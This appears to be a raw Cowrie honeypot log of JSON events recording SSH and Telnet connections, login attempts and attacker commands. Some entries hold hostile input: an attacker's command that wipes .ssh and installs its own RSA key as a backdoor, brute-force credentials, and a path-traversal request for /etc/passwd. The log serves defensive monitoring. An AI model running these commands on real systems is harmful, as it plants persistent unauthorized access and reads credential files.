{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:00:44.005082Z","src_ip":"85.198.97.85","session":"cd5034831a44","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"00000","message":"login attempt [root/00000] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:00:44.412661Z","src_ip":"85.198.97.85","session":"cd5034831a44","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:00:44.724246Z","src_ip":"85.198.97.85","session":"cd5034831a44","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:00:44.728106Z","src_ip":"85.198.97.85","session":"cd5034831a44","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:00:44.868253Z","src_ip":"85.198.97.85","session":"cd5034831a44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:00:44.873547Z","src_ip":"85.198.97.85","session":"cd5034831a44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.70938205718994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:00:51.827379Z","src_ip":"59.127.187.151","session":"931743b3aec7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:02:14.361119Z","src_ip":"14.103.127.204","session":"91a8b05a2ee3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":45342,"dst_ip":"10.17.0.5","dst_port":22,"session":"6509461aac62","protocol":"ssh","message":"New connection: 45.148.10.121:45342 (10.17.0.5:22) [session: 6509461aac62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:02:51.166983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:02:51.171293Z","src_ip":"45.148.10.121","session":"6509461aac62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:02:51.251243Z","src_ip":"45.148.10.121","session":"6509461aac62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.62.117.66","src_port":2718,"dst_ip":"159.203.135.109","dst_port":22,"session":"efaaa98c04d6","protocol":"ssh","message":"New connection: 85.62.117.66:2718 (159.203.135.109:22) [session: efaaa98c04d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:41.954261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:41.959286Z","src_ip":"85.62.117.66","session":"efaaa98c04d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:42.069421Z","src_ip":"85.62.117.66","session":"efaaa98c04d6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"8ik,9ol","message":"login attempt [root/8ik,9ol] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:42.532032Z","src_ip":"85.62.117.66","session":"efaaa98c04d6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:42.780195Z","src_ip":"85.62.117.66","session":"efaaa98c04d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:42.783631Z","src_ip":"85.62.117.66","session":"efaaa98c04d6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:42.787328Z","src_ip":"85.62.117.66","session":"efaaa98c04d6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:42.898119Z","src_ip":"85.62.117.66","session":"efaaa98c04d6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:43.147874Z","src_ip":"85.62.117.66","session":"efaaa98c04d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:43.151479Z","src_ip":"85.62.117.66","session":"efaaa98c04d6","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:43.263253Z","src_ip":"85.62.117.66","session":"efaaa98c04d6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:43.267143Z","src_ip":"85.62.117.66","session":"efaaa98c04d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.62.117.66","src_port":2726,"dst_ip":"159.203.135.109","dst_port":22,"session":"778169927fde","protocol":"ssh","message":"New connection: 85.62.117.66:2726 (159.203.135.109:22) [session: 778169927fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:43.365761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:43.370642Z","src_ip":"85.62.117.66","session":"778169927fde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:43.477094Z","src_ip":"85.62.117.66","session":"778169927fde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:43.939442Z","src_ip":"85.62.117.66","session":"778169927fde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:45.048627Z","src_ip":"85.62.117.66","session":"778169927fde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.62.117.66","src_port":2734,"dst_ip":"159.203.135.109","dst_port":22,"session":"8206ddcf830f","protocol":"ssh","message":"New connection: 85.62.117.66:2734 (159.203.135.109:22) [session: 8206ddcf830f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:45.151419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:45.155872Z","src_ip":"85.62.117.66","session":"8206ddcf830f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:45.264502Z","src_ip":"85.62.117.66","session":"8206ddcf830f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:45.721511Z","src_ip":"85.62.117.66","session":"8206ddcf830f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:45.830000Z","src_ip":"85.62.117.66","session":"8206ddcf830f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:04:45.834490Z","src_ip":"85.62.117.66","session":"efaaa98c04d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.81.15.2","src_port":33524,"dst_ip":"10.17.0.5","dst_port":23,"session":"8de022301565","protocol":"telnet","message":"New connection: 47.81.15.2:33524 (10.17.0.5:23) [session: 8de022301565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:05:34.696800Z"}
{"eventid":"cowrie.session.closed","duration":30.451490879058838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:06:05.148124Z","src_ip":"47.81.15.2","session":"8de022301565","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.59","src_port":37408,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3991d325eeb","protocol":"ssh","message":"New connection: 85.217.149.59:37408 (10.17.0.5:22) [session: d3991d325eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:07:24.801601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:07:24.806283Z","src_ip":"85.217.149.59","session":"d3991d325eeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bc3aee897af7d3feb9fc37b89c7d15c9","hasshAlgorithms":"curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bc3aee897af7d3feb9fc37b89c7d15c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:07:24.824964Z","src_ip":"85.217.149.59","session":"d3991d325eeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:07:24.848462Z","src_ip":"85.217.149.59","session":"d3991d325eeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.187.35.26","src_port":35368,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0956c52e9b7","protocol":"ssh","message":"New connection: 5.187.35.26:35368 (10.17.0.5:22) [session: a0956c52e9b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:09:36.278397Z"}
{"eventid":"cowrie.client.version","version":"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1","message":"Remote SSH version: GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:09:36.282986Z","src_ip":"5.187.35.26","session":"a0956c52e9b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:09:36.286350Z","src_ip":"5.187.35.26","session":"a0956c52e9b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.187.35.26","src_port":7844,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dea3731e315","protocol":"ssh","message":"New connection: 5.187.35.26:7844 (159.203.135.109:22) [session: 8dea3731e315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:11:41.390257Z"}
{"eventid":"cowrie.client.version","version":"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1","message":"Remote SSH version: GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:11:41.394349Z","src_ip":"5.187.35.26","session":"8dea3731e315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:11:41.397753Z","src_ip":"5.187.35.26","session":"8dea3731e315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":34672,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1298c867cae","protocol":"ssh","message":"New connection: 45.148.10.121:34672 (159.203.135.109:22) [session: e1298c867cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:15:40.745941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:15:40.751336Z","src_ip":"45.148.10.121","session":"e1298c867cae","protocol":"ssh"}
